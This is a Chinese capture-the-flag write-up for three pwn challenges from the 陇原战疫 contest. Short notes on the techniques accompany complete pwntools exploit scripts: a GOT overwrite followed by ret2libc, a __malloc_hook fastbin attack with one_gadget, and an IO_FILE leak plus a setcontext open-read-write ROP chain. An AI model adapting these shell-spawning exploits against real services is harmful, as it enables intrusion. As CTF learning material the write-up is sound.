陇原战疫WP

前言

题的质量都挺不错的

一、bbbay

签到题,任意地址写8字节,改___stack_chk_fail函数got表为puts_plt函数,删去canary的保护,然后栈溢出泄露地址返回start重新开始,之后再栈溢出ret2Libc来getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
# -*- coding:UTF-8 -*-

from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./pwn1"
#libc.so = "./libc-2.24.so"
#libc.so = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()


#libcsearcher use
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc.so)
else:
p = remote("node4.buuoj.cn",29806)
elf = ELF(binary)
#libc = ELF(libc.so)

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.close()
pause()
#b *$rebase(0xdbd)

def func1(size,con):
sla("your choice\n",str(1))
sla("size:\n",str(size))
sa("content:\n",con)

def func0(addr,con):
sla("your choice\n",str(0))
sla("address:\n",addr)
sa("content:\n",con)

puts_got = 0x601018
puts_plt = 0x4005F0
__stack_chk_fail_got = 0x601020
pop_rdi_ret = 0x0000000000400a03
ret = pop_rdi_ret + 1
start_addr = 0x400670

payload = ""
payload += "A"*(0x110+0x8)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(start_addr)


func0(str(__stack_chk_fail_got),p64(puts_plt))

func1(len(payload),payload)
sl("2")
puts_addr = u64Leakbase(0)
obj = LibcSearcher("puts", puts_addr)
libc_base = puts_addr-obj.dump('puts')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")

payload = ""
payload += "A"*(0x110+0x8)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(start_addr)
func1(len(payload),payload)
sl("2")
it()

二、magic

说实话这题逆向没太看懂,逆半天没逆出来个啥,还得好好学学逆向,是学长做的,不过逆向完事据说挺简单的,直接贴下学长exp吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
# coding=utf-8

from pwn import *
import sys

binary = "./Magic"
context.log_level = "debug"
context.arch = "amd64"
elf = ELF(binary)
global p

local = 0

if local:
p = process(binary)
# libc = elf.libc
# libc = ELF("/glibc/x64/2.27/lib/libc-2.27.so")
# p = process(binary, env={'LD_PRELOAD':'/home/mtb0tx/share/ctf-pwn/libc/libc-2.27.so'})
# libc = ELF("./libc.so.6")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("/home/mtb0tx/share/ctf-pwn/libc/libc-2.27.so")
# libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
host = "node4.buuoj.cn"
port = 28077
p = remote(host, port)
# libc = ELF("/home/mtb0tx/share/ctf-pwn/libc/libc-2.27.so")
libc = ELF("./libc-2.23.so")

def dbg():
sleep(0.5)
gdb.attach(p)
pause()

def gdb_a(addr):
gdb.attach(p, "b *{0} \n c".format(addr))
pause()

def gdb_b(addr):
gdb.attach(p, "b *$rebase({0}) \n c".format(addr))
pause()

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
rc = lambda num :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
li = lambda tag, addr :log.info(tag + " -> " + hex(addr))
ia = lambda :p.interactive()

menu = "Input your choice: "

def add(a, idx, b):
sla(menu,'1')
sl(str(a))
sla('Input the idx',str(idx))
sl(str(b))

def magic(a, idx, b, magic):
sla(menu,'2')
sl(str(a))
sla('Input the idx',str(idx))
sl(str(b))
sla("Input the Magic", magic)

def delete(a, idx, b):
sla(menu,'3')
sl(str(a))
sla('Input the idx',str(idx))
sl(str(b))


malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']

add(1, 0, 1)
magic(1, 0, 1, "a"*8)
ru("a"*8)
main_arena_xx = l64()
malloc_hook_addr = (main_arena_xx & 0xfffffffffffff000) + (malloc_hook_s & 0xfff)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system = libc_base + libc.sym['system']
li("libc_base", libc_base)
delete(1, 0, 1)
magic(1, 0, 1, p64(malloc_hook_addr - 0x23))
add(1, 1, 1)
add(0, 0, 0)

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

pl = '\x00' * 0x13 + p64(libc_base + 0xf03a4)
magic(0, 0, 0, pl)

# add(1, 1, 0)

delete(1, 1, 1)
delete(1, 1, 1)

# dbg()

ia()

三、h3apclass

这题还不错啊,有控制溢出的想法,也有沙箱保护,劫持IO。不过比赛时干其他去了,没怎么做,最后看了看觉得能做,但是时间已经不够了,这里简单复现一下。

其实难度也不大,有几个点

1.溢出限制

就是堆溢出的时候用的是strlen()来获取size的,这样需要把堆中的内容填满,才能溢出到size位。

2.edit的技巧

然后后期修改的时候,由于需要改fd指针,通常用p64(addr)来修改嘛,但是这里由于strlen()的关系,只能发送6个字节,多出来的\x00不要发送,不然输入输出容易对不上,导致程序出错。

3.泄露地址的技巧

劫持IO,但是2.31下需要我们泄露堆地址完成ORW劫持,所以把IO_write_base改为main_arena+96处,泄露堆地址和libc,不过这样发送的数据量会比较大,建议用sleep(2)来给程序一定的缓冲时间。

4.爆破,由于没有泄露,劫持IO只能用爆破libc的方式来解决,不过也只是1/16的概率,还是很好命中的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
# -*- coding:UTF-8 -*-
from pwn import *
#from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./H3apClass"
context.binary = binary
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#elf = ELF(binary)
context.timeout = 0.2

global p


sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

menu = "4:Drop homework\n"
menu_n = "4:Drop homework"

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.close()
pause()
#b *$rebase(0xdbd)

def dbg():
gdb.attach(p)
pause()

def gdb_b(addr):
gdb.attach(p, "b *$rebase({0}) \n c".format(addr))
sleep(0.5)

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def add(idx,size,con):
sla(menu, "1")
sla("Which homework?\n", str(idx))
sla("size:\n", str(size))
sa("content:\n",con)

def add_n(idx,size,con):
sla(menu_n, "1")
sla("Which homework?", str(idx))
sla("size:", str(size))
sa("content:",con)

def delete(idx):
sla(menu, "4")
sla("Which homework?\n", str(idx))

def delete_n(idx):
sla(menu_n, "4")
sla("Which homework?", str(idx))

# def show(idx):
# sla(menu, "3")
# sla("I:>>\n", str(idx))

def edit(idx,con):
sla(menu, "3")
sla("Which homework?\n", str(idx))
sa("content:\n",con)

def edit_n(idx,con):
sla(menu_n, "3")
sla("Which homework?", str(idx))
sa("content:",con)

def pwn():
guess_libc=0x0000
guess_IO = guess_libc + libc.sym['_IO_2_1_stdout_']
guess_main = guess_libc + libc.sym['__malloc_hook'] + 0x10

add(0,0xf8,'A'*0xf8)
add(1,0xf8,'A'*0xf8)
add(2,0xf8,'A'*0xf8)
add(3,0xf8,'A'*0xf8)
add(4,0xf8,'A'*0xf8)
add(5,0xf8,'A'*0xf8)
add(6,0xf8,'A'*0xf8)
edit(0,'A'*0xf8+p16(0x501))
delete(5)
delete(4)
delete(3)
delete(2)
delete(1)
add(1,0x78,'\x00')
add(2,0x78,'\x00')
add(3,0x78,p16((guess_IO)&0xffff))
add(4,0xf8,'\x00')
#dockerDbg()
fd = 0x00000000fbad2887
add(5,0xf8,p64(0xfbad1800) + p64(0)*3 + p16((guess_main+96)&0xffff))
heap_base = uu64(rc(6)) - 0x0019a0
libc_base = u64Leakbase(0x1ebbf0)

lg("libc_base",libc_base)
lg("heap_base",heap_base)
free_hook = libc_base + libc.sym['__free_hook']
setcontext61 = libc_base + libc.sym['setcontext'] + 61
lg("free_hook",free_hook)
gadget = libc_base + 0x154930
#dockerDbg()
#dockerDbg()
delete_n(1)
delete_n(2)
delete_n(3)
edit_n(4,p32(free_hook&0xffffffff)+p16(free_hook>>32))
#dockerDbg()
add_n(1,0x78,'A'*0x78)
add_n(2,0xe8,'A'*0xe8)
chunk1_addr = heap_base + 0x0014b0
lg("chunk1_addr",chunk1_addr)
add_n(3,0x78,p64(gadget))


pop_rdx_r12_ret = libc_base + 0x000000000011c371
pop_rsi_ret = libc_base + 0x0000000000027529
pop_rdi_ret = libc_base + 0x0000000000026b72
pop_rax_ret = libc_base + 0x000000000004a550
syscall_ret = libc_base + 0x0000000000066229
ret = pop_rdi_ret + 1
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Puts = libc_base + libc.sym['puts']


chunk_addr = chunk1_addr
fake_rsp = chunk_addr + 0xb0 + 0x10
flag = chunk_addr + 0xb0
orw = "a"*0x08 + p64(chunk_addr)
orw += "a"*0x10
orw += p64(libc_base + libc.sym['setcontext'] + 61) + "a"*0x8
orw += "a"*0x70
orw += p64(fake_rsp) + p64(ret)
orw += './flag\x00\x00'
orw += p64(0)
orw += p64(pop_rdi_ret) + p64(flag)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)
orw += p64(pop_rdx_r12_ret) + p64(0x30) + p64(0x0)
orw += p64(libc_base+libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(libc_base+libc.sym['write'])
edit_n(1,orw[0:0x70])
edit_n(2,orw[0x80:])
#dockerDbg()
delete_n(1)
it()





i = 0
while True:
i += 1
log.info("Times:%d"%i)
try:
#p = remote("172.20.2.7","26351")
p = process("./H3apClass")
pwn()
except EOFError:
p.close()
continue
except Exception:
p.close()
continue
else:
p.interactive()
break

最后的httpd没看,后面再说把。